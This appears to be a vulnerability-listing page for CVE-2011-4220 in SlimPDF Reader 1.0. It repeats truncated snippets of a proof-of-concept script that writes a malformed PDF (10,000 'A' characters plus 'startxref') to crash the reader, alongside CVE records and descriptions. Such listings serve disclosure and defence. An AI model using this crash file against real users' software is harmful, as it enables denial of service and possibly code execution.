Slimpdf Reader 1.0 Memory Corruption

No description provided by source. Exploit Title: Date: June 24 2012 Exploit Author: Carlos Mario Penagos Hollmann Vendor Homepage: www.investintech.com Version:1.0 Tested on: Windows 7 CVE : cve-2011-4220 payload =A10000 crash=startxref pdf=payload+crash filename = slimpdPoC.pdf file =...

Slimpdf Reader 1.0 - Memory Corruption

Slimpdf Reader 1.0 - Memory Corruption Exploit Title: Date: June 24 2012 Exploit Author: Carlos Mario Penagos Hollmann Vendor Homepage: www.investintech.com Version:1.0 Tested on: Windows 7 CVE : cve-2011-4220 payload ="A"10000 crash="startxref" pdf=payload+crash filename = "slimpdPoC.pdf" file =...

Slimpdf Reader 1.0 - Memory Corruption

Exploit Title: Date: June 24 2012 Exploit Author: Carlos Mario Penagos Hollmann Vendor Homepage: www.investintech.com Version:1.0 Tested on: Windows 7 CVE : cve-2011-4220 payload ="A"10000 crash="startxref" pdf=payload+crash filename = "slimpdPoC.pdf" file = openfilename,"w" file.writelinespdf...

Slim PDF Reader 1.0 Memory Corruption

Exploit Title: Date: June 24 2012 Exploit Author: Carlos Mario Penagos Hollmann Vendor Homepage: www.investintech.com Version:1.0 Tested on: Windows 7 CVE : cve-2011-4220 payload ="A"10000 crash="startxref" pdf=payload+crash filename = "slimpdPoC.pdf" file = openfilename,"w" file.writelinespdf...

CVE-2011-4220

creationtimestamp| type| source ---|---|--- 2012-06-25 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/19391 2012-06-25 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/19392 2012-06-25 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/19393...

CVE-2011-4220

SlimPDF Reader (Investintech) is affected by CVE-2011-4220 due to improper restriction of arguments in PDF function calls, enabling: DoS (crash) and potential arbitrary code execution via crafted PDFs. Multiple connected sources confirm the vulnerability and its presence in early versions; a miti...

CVE-2011-4220

Investintech.com SlimPDF Reader does not properly restrict the arguments to unspecified function calls, which allows remote attackers to cause a denial of service application crash or possibly execute arbitrary code via a crafted PDF document...